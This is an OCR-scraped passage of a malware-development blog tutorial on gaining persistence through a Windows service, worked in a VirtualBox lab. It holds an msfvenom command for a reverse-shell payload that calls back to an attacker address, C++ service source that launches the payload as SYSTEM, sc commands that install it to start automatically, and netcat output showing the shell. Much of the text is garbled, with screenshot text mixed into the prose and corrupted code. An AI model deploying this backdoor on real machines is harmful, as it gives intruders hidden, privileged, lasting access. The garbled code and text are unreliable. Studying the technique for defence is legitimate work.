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Malware development: persistence - part 4. Windows services.
Simple C++ example.
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i

Hello, cybersecurity enthusiasts and white hackers!

) - [~/hacking/cybersec_blog/cocomelonc.github.io]

=l
L% nc 4445
listening on [any] 4445 ...

connect to [192.168.56.1] from (UNKNOWN) [192.168.56.102] 49752
Microsoft Windows [Version 10.0.17134.112]

(c) 2018 Microsoft Corporation. All rights reserved.

Win10-x64 (peekaboo) [Running] - Oracle VM VirtualBox

C:\Windows\system32>systeminfo
systeminfo

Tools Users Help
esh {3 Options | #8 Find handles or DLLs 2% System information | [ [ X

WINDOWS - VOHNK33

Microsoft Windows 10 Pro
10.0.17134 N/A Build 17134
Microsoft Corporation
Standalone Workstation
Multiprocessor Free

Host Name:

0S Name:

0S Version:

0S Manufacturer:

0S Configuration:

0S Build Type:
Registered Owner:
Registered Organization:
Product ID:

Original Install Date:
System Boot Time:
System Manufacturer:
System Model:

System Type:
Processor(s):

00331-10000-00001-AA816
12/5/2021, 12:30:47 PM
5/10/2022, 1:20:19 AM
innotek GmbH

VirtualBox

Xx64-based PC

1 Processor(s) Installed.
[01]: Intel64 Family 6 Mode
innotek GmbH VirtualBox, 1z
C:\Windows
C:\Windows\system32
\Device\HarddiskVolumel
en-us;English (United State
en-us;English (United State
(UTC+06:00) Astana

3,192 MB

BIOS Version:

Windows Directory:
System Directory:

Boot Device:

System Locale:

Input Locale:

Time Zone:

Total Physical Memory:

Available Physical Memory:

Virtual Memory: Max Size:

Virtual Memory: Available:

2,111 MB
3,768 MB
2,669 MB

Virtual Memory: In Use:
Page File Location(s):

1,099 MB
C:\pagefile.sys

This post is a next part of a series of articles on windows malware persistence techniques and tricks.

Today I’1l write about the result of my own research into another persistence trick: Windows Services.

windows servicesPermalink

Windows Services are essential for hacking due to the following reasons:

e They operate natively over the network — the entire Services API was created with remote servers in mind.
e They start automatically when the system boots.

e They may have extremely high privileges in the operating system.

Managing services requires high privileges, and an unprivileged user can often only view the settings. This has not

changed in over twenty years.
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In a Windows context, improperly configured services might lead to privilege escalation or be utilized as a
persistence technique. So, creating a new service requires Administrator credentials and is not a stealthy

persistence approach.

practical examplePermalink

Let’s go to consider practical example: how to create and run a Windows service that receives a reverse shell for

us.

First of all create reverse shell exe file via msfvenom from my attacker machine:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.56.1 LPORT=4445 -f exe > meow.exe

) - [~/hacking/cybersec_blog/2022-05-09-malware-pers-4]

ip a

<LOOPBACK,UP,LOWER UP> mtu 65536 qdisc noqueue state UNKNOWN group default glen
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet /8 scope host lo

valid 1ft forever preferred 1ft forever
inetb /128 scope host

valid 1lft forever preferred 1ft forever

<BROADCAST,MULTICAST,UP,LOWER _UP> mtu 1500 gdisc noqueue state UP group defau

link/ether 40:ec:99:ba:23:3b brd ff:ff:ff:ff:ff:ff
inet /24 brd scope global dynamic noprefixroute wlan0®

valid 1ft 6888sec preferred 1ft 6888sec
inet6 /64 scope link noprefixroute

valid 1lft forever preferred 1ft forever

<NO-CARRIER, BROADCAST,MULTICAST,UP> mtu 1500 qdisc pfifo fast state

link/ether 0a:00:27:00:00:00 brd ff:ff:ff:ff:ff:ff
inet /24 brd scope global vboxnet0

valid lft forever preferred 1ft forever
inet6 /64 scope link

valid 1ft forever preferred 1ft forever

) - [~/hacking/cybersec_blog/2022-05-09-malware-pers-4]
om windows/x64/shell reverse tcp LHOST=192.168.56.1 LPORT=4445 exe > meow.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-1 No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7168 bytes

— ) - [~/hacking/cybersec_blog/2022-05-09-malware-pers-4]
L% 1s

total 28K

-rw-r--r-- 1 cocomelonc cocomelonc 7.0K May 10 17:17 meow.exe

-rwxr-xr-x 1 cocomelonc cocomelonc 16K May 10 17:14 meowsrv.exe
-rw-r--r-- 1 cocomelonc cocomelonc 2.2K May 10 17:13 meowsrv.cpp

Then, create service which run my meow.exe in the target machine.
The minimum requirements for a service are the following:

e A Main Entry point (like any application)
e A Service Entry point

e A Service Control Handler
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In the main entry point, you rapidly invoke StartServiceCtrlDispatcher sothe SCM may call your Service

Entry point ( ServiceMain ):

int main() {

SERVICE_TABLE_ENTRY ServiceTable[] = {
{"MeowService", (LPSERVICE_MAIN_FUNCTION) ServiceMain},
{NULL, NULL}

I

StartServiceCtr1Dispatcher(ServiceTable);

return 9;

The Service Main Entry Point performs the following tasks:

o Initialize any required things that we postponed from the Main Entry Point.

o Register the service control handler ( ControlHandler ) that will process Service Stop, Pause, Continue,
etc. control commands.

o These are registered as a bit mask via the dwControlsAccepted field of the SERVICE STATUS structure.

e Set Service Status to SERVICE RUNNING .

e Perform initialization procedures. Such as creating threads/events/mutex/IPCs, etc.

void ServiceMain(int argc, char** argv) {
SERVICE_WIN32;

serviceStatus.dwServiceType

serviceStatus.dwCurrentState = SERVICE_START_PENDING;
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
serviceStatus.dwWin32ExitCode = 0;

serviceStatus.dwServiceSpecificExitCode = 0;
serviceStatus.dwCheckPoint = 0;

serviceStatus.dwWaitHint = 0;

hStatus = RegisterServiceCtr1Handler ("MeowService", (LPHANDLER_FUNCTION)ControlHandler);
RunMeow();

serviceStatus.dwCurrentState = SERVICE_RUNNING;

SetServiceStatus (hStatus, &serviceStatus);

while (serviceStatus.dwCurrentState == SERVICE_RUNNING) {
Sleep(SLEEP_TIME);
}

return;

The Service Control Handler was registered in your Service Main Entry point. Each service must have a handler

to handle control requests from the SCM:
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void ControlHandler (DWORD request) {
switch(request) {
case SERVICE_CONTROL_STOP:

serviceStatus.dwWin32ExitCode

0;
serviceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus (hStatus, &serviceStatus);

return;

case SERVICE_CONTROL_SHUTDOWN:
serviceStatus.dwWin32ExitCode = 0;
serviceStatus.dwCurrentState = SERVICE_STOPPED;

SetServiceStatus (hStatus, &serviceStatus);

return;

default:
break;

}

SetServiceStatus(hStatus, &serviceStatus);

return;

I have only implemented and supported the SERVICE_CONTROL_STOP and SERVICE_CONTROL_SHUTDOWN requests.
You can handle other requests such as SERVICE_CONTROL_CONTINUE , SERVICE_CONTROL_INTERROGATE ,
SERVICE_CONTROL_PAUSE , SERVICE_CONTROL_SHUTDOWN and others.

Also, create function with evil logic:

// run process meow.exe - reverse shell
int RunMeow() {

void * 1b;

BOOL rv;

HANDLE th;

// for example: msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.56.1 LPORT=4445 -f exe > meow.exe
char ecmd[] = "Z:\\2022-05-09-malware-pers-4\\meow.exe";

STARTUPINFO si;

PROCESS_INFORMATION pi;

ZeroMemory(&si, sizeof(si));

si.cb = sizeof(si);

ZeroMemory(&pi, sizeof(pi));

CreateProcess(NULL, cmd, NULL, NULL, FALSE, @, NULL, NULL, &si, &pi);

WaitForSingleObject(pi.hProcess, INFINITE);

(loseHandle(pi.hProcess);

return 9;
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int main() {
SERVICE_TABLE_ENTRY ServiceTable[] = {
{"MeowService", (LPSERVICE_MAIN_FUNCTION) ServiceMain},
{NULL, NULL}

%

StartServiceCtrlDispatcher(ServiceTable);

return 9;

As I wrote earlier, just create our reverse shell process ( meow.exe ):

int RunMeow() {
void 1lb;
BOOL rv;
HANDLE th;

char cmd[] "Z:\\2022-05-09-malware-pers-4\\meow.exe";
STARTUPINFO si;
PROCESS INFORMATION pi;
mory (&si, (si));
(si);
emory (&pi, (pi));
Proc (NULL, cmd, NULL, NULL, FALSE, O, NULL, NULL, &si,

tForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);

int main() {
SERVICE TABLE ENTRY ServiceTable[] I
{"MeowService", (LPSERVICE MAIN FUNCTION) ServiceMain},
{NULL, NULL}
ki

StartServiceCtrlDispatcher(ServiceTable);

Of course, this code is not reference and it is more “dirty” Proof of Concept.

demoPermalink

Let’s go to demonstration all.

Compile our service:

x86_64-wb4-mingw32-g++ -02 meowsrv.cpp -o meowsrv.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -
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64-w64-ming -g++ meowsrv.cpp meowsrv.exe

) - [~/hacking/cybersec_blog/2022-05-09-malware-pers-4]

total 28K

-rwxr-xr-x 1 cocomelonc cocomelonc 16K May 10 17:17 meowsrv.exe
-rw-r--r-- 1 cocomelonc cocomelonc 7.0K May 10 17:17 meow.exe
-rw-r--r-- 1 cocomelonc cocomelonc 2.2K May 10 17:13 meowsrv.cpp

We can install the service from the command prompt by running the following command in target machine

Windows 10 x64 . Remember that all commands run as administrator:

sc create MeowService binpath= "Z:\2022-05-09-malware-pers-4\meowsrv.exe" start= auto

win10-x64 (peekaboo) [Running] - Oracle VM VirtualBox
hine View Input Devices Help
e mn
L

i Hacker View Tools Users Help
% Refresh 43 Options | @& Find han

Processes  Services Network  Disk

Name

[#] Registry
[5] smss.exe
[E] esrss.exe
[8] svchost.exe
[5] wininit.exe

[E] services.exe

[55] Isass.exe

[8] svchost.exe

[&] ApplicationFrameHost.exe
[&=] sihost.exe

[5 fontdrvhost.exe

Pl CPU Usage: 51.68%  Physical memory: 1.0

Service Created

EHl O Type here to search im =

B Ok #HE S T S8 Right Ctrl

Check:
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Devices Help

Poan

Hacker View Tools Users

% Refresh i} Options | &8 Find han

Processes  Services

Help

win10-x64 (peekaboo) [Running] - Oracle VM VirtualBox

Metwork  Disk

Name

[ Registry
[5] srss.exe
[] csrss.exe
[&] svchost.exe
[5] wininit.exe

[5] services.exe

[ Isass.exe

[¥] svchost.exe

[#] ApplicationFrameHost.exe
[ sihost.exe

[ fontdrvhost.exe

B CPU Usage: 20.46%

- w

File Machine View

Physical memary: 1.0

Input Devices

Help

158 Process Hacker [WINDOWS-VIHMNEK33\ User]

i Hacker View Tools
22, Refresh

£

Processes Services

Users

Help

Options | #8 Find handles or DLLs 2% System information | OE X
MNetwork  Disk

Search Services (Ctrl+K)

MName

¢ megasasdi
¢ megasas35i
L8 megasr

| MeowService

Display name
megasas2i
megasas35i
megasr
MeowService

Type
Driver
Driver

Drriver

Own process

Status

Stopped
Stopped
Stopped
Stopped

Start type PID
Demand start

Demand start

Demand start

Auto start

] MessagingService
] MessagingService._...
Lod mlxd_bus

2 MMCSS

¢ Modem

= monitor

.27 mouclass

.z mouhid

MessagingService
MessagingService_feldecd

Mellanox ConnectX Bus Enumerator
Multimedia Class Scheduler
Modem

Microsoft Monitor Class Function Dri...

Mouse Class Driver
Mouse HID Driver

User share pro...

User share pro..

Driver
Driver
Drriver
Driver
Driver

Drriver

Stopped
Stopped
Stopped
Running
Stopped
Running
Running

Running

Demand start (trigger)
Demnand start (trigger)
Demand start

Auto start

Demand start
Demand start
Demand start
Demand start

| CPU Usage: 6.19%

If we check its properties:
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LA win10-x64 (peekaboo) [Running] - Oracle VM Virtual Box
File Machine View Input Devices Help
I MeowService Properties
g Triggers Cther Comment
Hacker View Tools Users H  Generdl Security Recovery Dependencies Dependerts

% Refresh "¢ Options | EaFi MeowService Search Services (Ctrl+K)
Processes Services Network Di

MName Displa PID

.7 megasasi megas
L& megasas35i megas  1YPe: | Own process ~| Stattype: | Auto start ~

| MeowService Meow

] MessagingService ~ Messaj  Bnaypath:  [Z:\2022-05-03malware-pers-4\meowsrv exe || Browse..
] MessagingService_... Messa

[Useraccourrt: |LDcaISyslem I |

o2 mbed_bus Mellan
2 MMCSS Multi Passwaord: |uuuu | O

¢ Modem Moder  geryige DLL: |NXA |
& monitor Microg

g mouclass Mousg

.2 mouhid Mousg

| CPU Usage: 10.02%  Physical men

Canl

dllexp

The LocalSystem account is a predefined local account used by the service control manager. It has extensive
privileges on the local computer, and acts as the computer on the network. Its token includes the NT
AUTHORITY\SYSTEM and BUILTIN\Administrators SIDs; these accounts have access to most system objects. The
name of the account in all locales is .\LocalSystem . The name, LocalSystem or ComputerName\LocalSystem
can also be used. This account does not have a password. If you specify the LocalSystem account in a call to the

CreateService or ChangeServiceConfig function, any password information you provide is ignored via
MSDN.

Then, start service via command:
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—

¢ nc 4445

listening on [any] 4445 ..
connect to [192.168.56.1] from (UNKNOWN)
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) - [~/hacking/cybersec_blog/cocomelonc.github.io]

[192.168.56.102] 49752

Microsoft Windows [Version 10.0.17134.112]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>[]

L A} win10-x64 (peekaboo) [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

indows\system32>sc create MeowService binpath-
CreateService SUCCESS

"Z:\2022-85-89-malware-pers-4\meowsrv.exe” start= auto

: 10 WIN32 OWN_PROCESS
: 1 STOPPED

WIN32_EXIT CODE 1077 (6x435)

SERVICE_EXIT_CODE : @ (8xe)

CHECKPOI : exe

WAIT_HINT : exe

indows\system32>sc start MeowService

{IN32_OWN_PROCESS
START_PENDING

(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
(exe)

(ex@)

WIN32_EXIT_CODE
SERVICE_EXT

Process dilexp a : exvde
Hacker 2 D : 5668

a &

x32dbg

C:\Windows\system32>_

procexpbd

And as you can see, we got a reverse shell!:

—
L$ nc 4445
listening on [any] 4445

connect to [192.168.56.1] from (UNKNOWN)
Microsoft Windows [Version 10.0.17134.112] 5
(c) 2018 Microsoft Corporation. All rights reserved.

) - [~/hacking/cybersec_blog/cocomelonc.github.io]

[192.168.56.102] 49752
win10-x64 (peekaboo) [Running] - Oracle VM Virtual Box

File Machine View Input Devices Help

C:\Windows\system32>systeminfo

systeminfo

Host Name:

0S Name:

0S Version:

0S Manufacturer:

0S Configuration:

0S Build Type:
Registered Owner:
Registered Organization:
Product ID:

Original Install Date:
System Boot Time:
System Manufacturer:
System Model:

System Type:
Processor(s):

BIOS Version:

Windows Directory:
System Directory:

Boot Device:

System Locale:

Input Locale:

Time Zone:

Total Physical Memory:

Available Physical Memory:

Virtual Memory: Max Size:

Virtual Memory: Available:

Virtual Memory: In Use:
Page File Location(s):
Domain:

Logon Server:

C: \Windows\sy: "7:12022-05-09-maluare-pers-4\meowsrv.exe” start= auto

32>sc create MeowService binpath
I[sc] createservic

SUCCESS

WINDOWS - V9HNK33

Microsoft Windows 10 Pro
10.0.17134 N/A Build 17134
Microsoft Corporation
Standalone Workstation
Multiprocessor Free

C:\Windows\system32>sc query Meowservice

SERVICE_NAME: MeowService
T _OMWN_PROCESS

C:\uindows\system32>sc start

SERVICE_NAME: MeowService

00331-10000-00001-AA816
12/5/2021, 12:30:47 PM
5/10/2022, 1:20:19 AM
innotek GmbH

VirtualBox

x64-based PC

1 Processor(s) Installed.
[01]: Intel64 Family 6 Mode
innotek GmbH VirtualBox, 1z
C:\Windows
C:\Windows\system32
\Device\HarddiskVolumel
en-us;English (United State
en-us;English (United State
(UTC+06:00) Astana

3,192 MB

2,111 MB

3,768 MB

2,669 MB

1,099 MB

C:\pagefile.sys

WORKGROUP

N/A

t Windows [Version 16.8.17134.112]
crosoft Corporation. All rights reserved.

C:\Users\User>systeminfo

C:\Windows \system32>

WINDOWS - VOHNK33
microsoft Windows 1@ Pro
10.0.17134 N/A Build 17134
microsoft Corporation
Standalone Workstation
mMultiprocessor Free

Host Name:

0S Name:
0S Manufacturer:
05 Configuration:
0S Build Type:
Registered Ouner:
Registered Organization:

D:

s

procepéd

x32db
g 06331-10660-06001-AAB16
t 2021, 12:30:47 PM

System Boot Time: 5/10/2022, 1:20:19 AM

System Manufacturer: i GmbH

d our MeowService service gota PID:
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winl10-x64 (peekaboc) [Running] - Oracle VM VirtualBox

Help

ﬁ*

1% Process Hacker [WINDOWS-VIHMK33\User]

i Hacker View Tools
“% Refresh

Processes  Services

Users

.4 Options

Help

#8 Find handles or DLLs 2% System information
Network  Disk

O X

Search Services (Ctrl+K)

Name

¢ megasasi

~ megasas35i

.4# megasr

__| MeowService

] MessagingService

25# mbed_bus
2 MMCSS
o Modem
¢ monitor
¢ mouclass

.z mouhid

|| MessagingService_..

Display name

megasas2i

megasas33i

megasr

MeowService

MessagingService
MessagingService_feldcd

Mellanox ConnectX Bus Enumerator
Multimedia Class Scheduler
Modem

Microsoft Monitor Class Function Dri...

Meouse Class Driver
Meuse HID Driver

Type

Driver

Drriver

Diriver

Own process
User share pro...
User share pro...
Diriver

Driver

Driver

Driver

Drriver

Driver

Status

Stopped
Stopped
Stopped

Start pen...

Stopped
Stopped
Stopped
Running
Stopped
Running
Running

Running

Start type PID
Demand start
Demand start
Demand start

Auto start

Demand start (trigger)
Demand start (trigger)
Demand start

Auto start

Demand start
Demand start
Demand start
Demand start

[l CPU Usage: 28.51%

Then, run Process Hacker

Physical memonry: 1.1 GB (35.28%)

Processes: 76

as non-admin User:
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L] win10-x64 (peekaboo) [Running] - Oracle VM Virtual Box

File Machine View Input Devices Help

1% Process Hacker [WINDOWS-VIHMK33\User]
i Hacker View Tools Users Help
% Refresh i Options | #8 Find handles or DLLs  3#% System information | [] [ 4 Search Processes (Ctrl+K)

Processes  Services MNetwork Disk

Mame PID CPU I/Ototal .. Privateb.. Username Description

[85] smartscreen.exe 5004 11.23MB  WINDOWS-VSH... Windows Defender SmartScre

¥ VBoxTray.exe 5056 0.02 132B/s 257 MB  WINDOWS-VSH... VirtualBox Guest Additions Tra...

[85] meowsrv.exe 5668 700 kB

[ audiodg.exe 5724 6.24 MB Windows Audio Device Graph...

@ OneDrive.exe 5752 0.05 727B/s 1679 MB  WINDOWS-VIH..\User  Microsoft OneDrive

fEﬁ\MmiPwSE.ae 5852 2.18MB ‘WMI Provider Host

[#5] RuntimeBroker.exe 5932 487 MB  WINDOWS-V9H..\User  Runtime Broker

@ ctfmon.exe 5956 521 MB  WINDOWS-VIH..\User  CTF Loader

[ Trustedinstaller.exe 5968 1.85MB Windows Modules Installer
explorer.exe 5996 . 33.74MB  WINDOWS-VSH..\User ~ Windows Explorer

BB conhost.exe 6036 617 MB  WINDOWS-VSH..\User  Console Window Host

[#] svchost.exe 6096 10.89 MB  WINDOWS-VIH..\User  Host Process for Windows Ser...

M CPU Usage: 35.73%  Physical memory: 1.09 GB (34.87%) Processes: 73

1

As you can see, it doesn’t show us the username. But, running Process Hacker as Administartor changes the
situation, and we see that our shell running on behalf NT AUTHORITY\SYSTEM :
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.102] 49752
L

File Machine View Input Devices Help

1% Process Hacker [WINDOWS-VIHMNK33\User]+ (Administrator)

i Hacker
% Refresh

View Tools Users Help
E8 Find handles or DLLs  2&% System information

Network  Disk

3 Options O X Search Processes (Ctrl+K)

Processes  Services

Narne

[85] smartscreen.exe
\7! VBoxTray.exe

‘% ProcessHacker.exe

[5] meowsrv.exe

PID
5004
5056
5608
5068

CPU /O total ..

0.01
1.0

56 Bfs

Private b...

11.3MB
2.57 MB
12.26 MB

700 kB

User narne
WINDOWS-VIHNK33\User
WINDOWS-VIHNK33\ User
WINDOWS-VIHNK33\User
NT AUTHORITY\SYSTEM

[#5 audiodg.exe

@ OneDrive.exe

£ WmiPreSE.exe

[] RuntimeBroker.exe

@ ctfmaon.exe
explorer.exe

EX conhost.exe

[] svchost.exe

5724
5752
5852
5932
5956
5996
6036
6096

6.24 MBE
16.82 MB
218 MB
4.87MB
538 MBE
3463 MB
6.17 MB
11.1 MB

NT AUTHO..\LOCAL SERVICE
WINDOWS-VSHNK33\User
NT AUTHORITWWSYSTEM
WINDOWS-VSHNK33\User
WINDOWS-VIHNK33\User
WINDOWS-VSHNK33\User
WINDOWS-VIHNK33\User
WINDOWS-VIHNK33\User

Description
Windows Defender SmartScre

VirtualBox Guest Additions Tra...

Process Hacker

Windows Audio Device Graph..,

Microsoft OneDrive
WMI Provider Host
Runtime Broker

CTF Loader

Windows Explorer
Console Window Host

Host Process for Windows Ser...

Al CPU Usage: 8.52%

Physical memory: 1.09 GB (35.12%]

Processes: 72

) - [~/hacking/cybersec_blog/cocomelonc.github.io]

4445
listening on [any] 4445

connect to [192.168.56.1] from (UNKNOWN) [192.168.56.102] 49752

Microsoft Windows

|Version 10.0.17134.112]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>systeminfo

systeminfo

Host Name:

0S Name:

0S Version:

0S Manufacture

0S Configuratio
0S Build Type:

Registered Owne

Registered Organization:

Product ID:
Original Install D
System Boot Time:
System Manufacturer
System Model:
System Type:
Processor(s):

BIOS Version:

System Locale:

Input Locale:

Time Zone:

Total Physical Memory:

Available Physical Memory:
Virtual Memory: Max Size:
i Memg Avai 2

WINDOWS - V9HNK33

Microsoft Windows 10 Pro
10.0.17134 N/A Build 17134

Microsoft Corporation
Standalone Workstation
Multiprocessor Free

00331-10000-00001-AA816
12/5/2021, 12:30:47 PM
5/10/2022, 1:20:19 AM
innotek GmbH

VirtualBox

x64-based PC

L

File Machine View Input

Win10-x64 (peckaboo) [Running] - Oracle VM VirtualBox

Devices Help

& Process Hacker [WINDOWS-VSHNK33\User+ (Administrator)

[ Hacker View Tools Users Help

2 Refresh

& Options

Processes Senvices Metnork  Disk

8 Find handles or DLLs 44 System information

O& X

Name
[ lsass.exe (6
[ lsass.exe (6

[&] meow.oxe ..

Local..
49670
49670

Local address
WINDOWS-VOHN
WINDOWS-VOHN
WINDOWS-VSHN

Remete address

49752 182.168.56.1 Tep

Prot.,
TP Listen
TCPs

Rem.. State

Listen
Establish

[ services.ex..
[ services.ex.
5 spoolsv.ex.
= spoolsv.ex,
[ swchost.ex.
[ svchost.ex.
[ svehost.ex.,
[ swchost.ex.
[ swchost. ex.

WINDOWS-VEHN
WINDOWS-VSHN
WINDOWS-VSHN 49667
WINDOWS-VOHN 49867
WINDOWS-VOHN 23
WINDOWS-VSHN 123
WINDOWS-VEHN 5040
WINDOWS-VSHN 5050
WINDOWS-VSHN 5353

49668
49668

TP Listen
TCP6  Listen
TCP  Listen
TCPE
ubp
UDPS
TP Listen
ubp

Listen

Owner

Spooler
Spooler
Wa2Time
Wa2Time
CoPsve
CoPsve

W cPU Usage: 7.30%

1 Processor(s) Installed.
[061]: Intel64 Family 6 Mode

innotek GmbH VirtualBox, 1z

C:\Windows
C:\Windows\system32
\Device\HarddiskVolumel

en-us;English (United State
en-us;English (United State

(UTC+06:00) Astana
3,192 MB
2,111 MB
3,768 MB

MR

So, everything is worked perfectly :)

Physical memory: 1.07 GB (34.363%

Hacker 2

2dbg

Let’s go cleaning after completion of experiments. Stop service:
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win10-x64 (peekaboo) [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

ycle Bin xbddbg PE-bear

malware

18 Process Hacker [WINDOWS-VOHNK33\User]~ (Administrator]

Hacker View Tools
% Refresh

Processes  Senvices

Users

% Options

Help

#8 Find handles or DLLs 4% System information
Metwork  Disk

O& X

Search Services (Ctrl+K) P

Name

Ly megasas

1k megasas2i

1k megasas3si

Lyl megasr

) MeowService

] MessagingService
[ MessagingService.
58 mixd_bus

& MMCSs

2% Modem

1% monitor

1 mouclass

Display name

megasas

megasasdi

megasas3si

megasr

MeowService
MessagingService
MessagingService_fe1dcd
Mellanox ConnectX Bus Enumerator
Multimedia Class Scheduler
Medem

Microsoft Monitor Class Function Dri...

Mouse Class Driver

Type
Driver

Driver

Driver

Driver

Own process
User share pro...
User share pro...
Driver

Driver

Driver

Driver

Driver

Status

Stopped
Stopped
Stopped
Stopped
Stopped
Stopped
Stopped
Stopped
Running
Stopped
Running
Running

Start type

Demand start
Demand start
Demand start
Demand start
Auto start

Demand start (trigge!T

Demand start (trigger]
Demand start

Auto start

Demand start
Demand start
Demand start

CPU Usage: 11.94%

x64-based PC

L]

File Machine View Input Devices Help

dbg PE-bear

malware

Process
Hacker 2

g

We can see Process Hacker ’s notification about this.

winl0-x64 (peekaboo) [Running] - Oracle VM VirtualBox

Physical memory: 1.06 GB (34.07%) Processes: 67

6:11PM

S EEE) s
W =2 ¥| & 8 Right Ctrl

ttype
hand start

hand start

hand start

hand start

pand start (trigger]
hand start (trigger)
hand start

start

hand start

Rand start

Service Deleted
The

6:12 PM

P
2= #| 6 B Right Ctrl

But, there is one very important caveat. You might wonder why we just not running command:
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sc create MeowService binpath= "Z:\2022-05-09-pers-4\meow.exe" start= auto

Because, meow.exe is not actually a service. As I wrote earlier, the minimum requirements for a service are
following specific functions: main entry point, service entry point and service control handler. If you try create

service from just meow.exe . It’s just terminate with error.

conclusionPermalink

This technique is not new, but it is worth paying attention to it, especially entry level blue team specialists. Threat
actors also can modify existing windows services instead create new ones. In the wild, this trick was often used by
groups such as APT 38, APT 32 and APT 41.

MITTRE ATT&CK. Create or Modify System Process: Windows Service
APT 32
APT 38
APT 41

source code in Github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!

PS. All drawings and screenshots are mine

Source: https://cocomelonc.github.io/tutorial/2022/05/09/malware-pers-4.html
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